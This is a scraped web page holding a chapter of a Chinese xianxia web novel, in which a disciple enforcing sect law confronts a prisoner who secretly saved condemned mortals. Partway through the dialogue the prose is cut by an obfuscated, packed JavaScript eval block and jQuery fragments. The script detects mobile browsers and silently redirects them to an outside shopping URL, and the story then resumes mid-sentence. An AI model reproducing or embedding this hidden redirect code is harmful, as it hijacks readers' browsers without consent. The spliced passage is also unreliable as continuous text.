默认冷灰
24号文字
方正启体

17. 当堂对质,言语试探

作者:石又川本书字数:K更新时间:
    从崖底返回时,天已大亮,凌知岳走得缓慢,每一步就跟踩在刀尖之上,攀爬三百丈的岩壁比下去时艰难百倍,就此一趟,他心神已乱。


    好几次,凌知岳手滑失力险些坠入深渊,最后一次,他单手扣住一块凸起的岩石悬在半空,脚下翻涌云雾,头顶遥不可及。


    那一刻,他忽然想:松手吧。


    松手,坠落,粉身碎骨......就不用面对那些谎言,那片废墟,那些白骨,还有执法堂里他必须去审判的那个女子。


    凌知岳还是爬上来了,这绝非求生欲,他不甘,不甘心就这样不明不白地死去,不甘心自己活了二十五年信了二十五年的东西,都是假的。


    他要知道真相,完整的真相,哪怕这真相会将他彻底撕碎成裂片。


    回到洞窟,晨光正从洞口斜斜照进来,往湿冷地面投下一片惨淡光斑。


    执法堂里,透过铁窗,叶听竹跪坐光栏阴影里,背脊挺直若竹,晨光中腕上禁灵锁泛着冰冷的金属光泽。


    她闭着眼,似乎冥想,又好似等待,听到了脚步声,叶听竹睁开眼。


    四目相对,凌知岳发现,自己竟不知该如何开口。


    质问?审讯?宣判?


    他准备了整整一路冷硬符合门规的说辞,这一刻,全堵住喉咙,一个字都吐不出来。


    正因他亲眼看见了,看见了那些丹药救治的人,看见了那片无声的废墟,看见了那些白骨。


    证据确凿,可这证据指向的不是叶听竹的罪,是宗门的罪,是仙门的罪。


    许久,凌知岳走到叶听竹面前,盘膝坐下,过往居高临下的审判姿态,不复存在。


    “我下去了。”他开口,声音嘶哑得厉害。


    叶听竹静静看着他,未曾说话。


    “看到了那些人,那些窝棚,那片废墟。”凌知岳继续说,每一个字硬生生从齿缝里挤出来,“看到了你炼的丹药,你写的字,你供奉的玉佩。”


    叶听竹眼神微微动了动。


    “举报信里说的都是真的。”凌知岳看着她,“你私通外界,传递丹药符箓,救那些宗门认定该杀的凡民。”


    “是。”叶听竹的回答极轻,却很清晰。


    “你知道这意味着什么吗?”


    “知道。”


    “违抗仙门盟令,私通凡民,背叛宗门。”凌知岳一字一句道:“按门规当处极刑,崖下那些人按仙门盟令,格杀勿论。”


    “知道。”


    “知道你还做?”


    叶听竹沉默了,晨光流淌向她脸颊,将她苍白脸色镀上一层虚幻暖色,她垂下眼看着腕上禁灵锁,许久,才轻声开口:“凌师兄,你修剑吗?”


    凌知岳一怔:“自然。”


    “那你可知,剑是什么?”


    “是兵器,是法器,是护道之器。”


    “不。”叶听竹摇头,“剑,是止戈。”


    凌知岳瞳孔微缩。


    “剑最初被造出来,非为杀戮,实为守护。”叶听竹抬起眼,目光清澈,隐着深潭,“守护家园,守护亲人,守护弱者不受欺凌。后来,有人用它杀人,有人用它争霸,有人用它掠夺,但剑的本心从未变过,变的,是用剑的人。”


    她顿了顿:“仙,也是如此。”


    “仙最初是什么?是凡人仰望星空,渴望超越自身局限,探寻大道,让这世间少一些苦难多一些美好,所以有了修行功法,有了丹符阵器。”


    “可后来呢?”她看着凌知岳,眼眸盛满深沉悲哀,“后来,仙成了特权,成了掠夺者,成了高高在上视凡民如蝼蚁的上人,仙门盟令成了掠夺的借口,宗门利益成了杀戮的理由。修仙修到最后,修的到底是什么?长生?力量?还是一颗冰冷如铁视人命如草芥的道心?”


    凌知岳的手在身侧缓缓握紧,指甲陷进掌心渗出血丝,但他感觉不到疼,此时心里更疼。


    “我未曾背叛宗门。”叶听竹继续说,声音平静得叙述别人的事一般,“我背叛的,是那个忘记了仙者护生本心扭曲的宗门。我守护的,才是仙本该守护的苍生。”


    “可门规……”凌知岳声音发颤:“门规是铁律!违令就是违令!你救一人,可能害十人!你今日救那些凡民,明日就可能有无辜的同门因你的善心而死!”


    “所以呢?”叶听竹反问:“所以就该眼睁睁看着那些人死去?就该为了可能发生的坏事放弃眼前该做的事?”


    她摇摇头:“凌师兄,你修的是法的道,法重规则,重秩序,重权衡利弊,这没有错。但我的道,不是法,是心。”


    “心?”


    “是。”叶听竹抬起手,指尖轻触胸口,“这里会痛,看到不公会痛,看到苦难会痛,看到生命被践踏会痛。这痛绝非软弱,它提醒着,我还是个人,还是个会为他人流泪的人。”


    “修仙修到最后,若连这痛都修没了,那修的还是仙吗?”


    凌知岳怔怔看着她,依稀的光里,她身影单薄得跟一张纸般,风吹便会被轻松扬起,腕上的禁灵锁沉重难抵,可她眼里的光,却明亮如星,坚定如磐石。


    那是一种他从未见过,纯粹到极致的光芒,不为利益,不为权势,不为长生,只为本心。


    “可你想过代价吗?”他嘶声问:“终身幽禁,废除修为,永世囚禁在这绝壁上,这就是你护生的代价!值得吗?”


    “值得。”叶听竹的回答没有一丝犹豫,“因为我救的那些人,活下来了。”


    “他们活下来了。”她重复了一遍,声音里第一次有了情绪波动,“凌师兄,你下去看到了那些老人、孩子,那些在绝望中挣扎的人,他们都还活着。因为我的丹药、符水,我挖的那个小小的洞口,他们都活下来了。”


    “这就够了。”


    “哪怕我永远出不去,死在这崖上,后世无人知晓我曾做过什么,只要他们活着,就值得。”


    凌知岳呼吸停滞了,他看着她,尽管修为尽废,身陷囹圄,却依然挺直脊梁的女子,忽然觉得自己很渺小,跟一粒广袤寰宇中的尘埃,没有区别。


    他活了二十五年,信门规、遵法度、求大道、争资源,以为走了一条正确光明的路,如今才发现,自己从未真正活过。


    他从未问过自己:你修的道,到底是什么?你守护的,到底是什么?你活这一生,到底想成为什么样的人?


    门规说:“仙门弟子当以宗门利益为重。”


    父亲说:“执法者当法不容情。”


    师长说:“修仙者当断凡情绝俗念。”


    他信了做了,成了人人称颂的下一任执法首座,可这一切,建立在一个谎言之上,一个屠村掠脉视凡民如草芥的谎言。


    “叶听竹。”凌知岳开口,声音里带着自己都未察觉的颤抖,“如果……如果我今日放你走,你会怎么做?”


    叶听竹微微一愣,随即笑了,笑容轻淡,有种穿透人心的力量。


    “我不会走。”


    “为什么?”


    “因为走了,就是逃。”她看着凌知岳,“我做的事,我认。宗门判我终身幽禁,我认。这是我的选择,我的道。逃了,这道就断了。”


    她顿了顿,轻声说:“况且我走了,下面那些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347787|199558||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人怎么办?他们需要丹药,需要符水,需要希望。”


    “希望?”


    “是。”叶听竹回想洞口,“那个小小的洞口,那些米粒大小的丹药,对他们而言,不只是药,是光,是这黑暗世界里唯一的光。告诉他们,还有人记得他们,还有人在乎他们的生死。”


    “这光不能灭。”


    “所以,我不能走。”


    凌知岳彻底说不出话了,他看着叶听竹,看了很久很久,光芒从铁栅栏斜斜照进来,将她的影子拉得纤长,投向冰冷的地板。


    那影子单薄却挺拔,类乎一株绝壁上顽强生长的竹子,风来了它会弯,雪来了它会低,但根一直扎进土里,从未动摇。


    他终于明白,父亲为什么说她道心不坚,因为她的道心,绝非铁石,亦非寒冰,是竹。


    这杆竹,柔软却能穿透最坚硬的岩石,坚韧依旧能在最贫瘠的土壤里扎根,看似易折,实则难摧。


    它的力量不来自外界的认可,不来自资源的堆砌,不来自规则的庇护,来自本心,纯粹到极致便坚不可摧的本心。


    凌知岳缓缓站起身,他觉得胸口被什么东西塞满了,堵得慌,闷得痛,一种前所未有撕裂的痛苦。


    一边是二十五年信奉的规则,一边是刚刚窥见的真相;一边是宗门的期望,一边是良知的拷问;一边是铁律,一边是人心。


    他该怎么做?


    按门规,他该立刻押叶听竹到执法殿公审,定罪处刑;按亲眼所见,他该放了叶听竹,甚至帮她。


    可放了她,就是背叛宗门,背叛父亲,背叛自己二十五年的人生。


    不放她……凌知岳看向叶听竹。


    她依旧跪坐晨光里,背脊挺直,眼神清澈,等待着最终判决,那个早已不在乎的判决。


    因为她心里,已经有了答案。


    凌知岳闭上眼,许久,他睁开,眼中有什么东西碎了,又有什么东西悄悄长了出来。


    “叶听竹。”他开口,声音嘶哑,透着一丝决绝,“洞口我会重新封好,封得结实些,禁灵锁的检查,我会安排人每月初一准时来,不会提前,也不会拖延。”


    叶听竹微微一怔,抬头看他,“你……”她轻声开口,眼中第一次露出困惑。


    “别问。”凌知岳打断她,转过身背对着她,“什么都别问。”


    他走到铁窗下,看着头顶禁锢的铁栅栏,看着远处那片露出晨曦的天空,一字一句,像是在对她说话,又像是在对自己说。


    “门规是铁律,违令就是违令。”


    “你做的事,是罪。”


    “但……”


    他顿了顿,声音低得隐入尘埃,“有些罪,或许……该犯。”


    将叶听竹亲自送回了思过崖洞窟,凌知岳纵身一跃,消失洞口,铁索桥的摇晃声渐行渐远,洞窟里重归寂静。


    叶听竹站立晨光里久久未动,她看着那个被重新封死的洞口,看着腕上的禁灵锁,看着自己映照石壁的影子。


    她笑了,笑着笑着,释然的眼泪滑落。


    原来这世间,终究不是所有人都瞎了,都聋了,都心死了,还有人在黑暗中悄悄睁开了眼,哪怕只是一瞬间,那也是光。


    叶听竹擦干眼泪走到暗室入口,石壁依旧冰冷,苔藓依旧湿滑,她知道,在那后面,青竹散人的白骨静坐着,玉石的光芒温柔地照耀着,那些传承静静地等待着。


    她要继续炼丹、画符、护生,继续走她的道。


    窗外天彻底亮了,罡风依旧呼啸,这一次,风里似乎多了点别的东西,远处仿佛有春雷隐隐作响。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)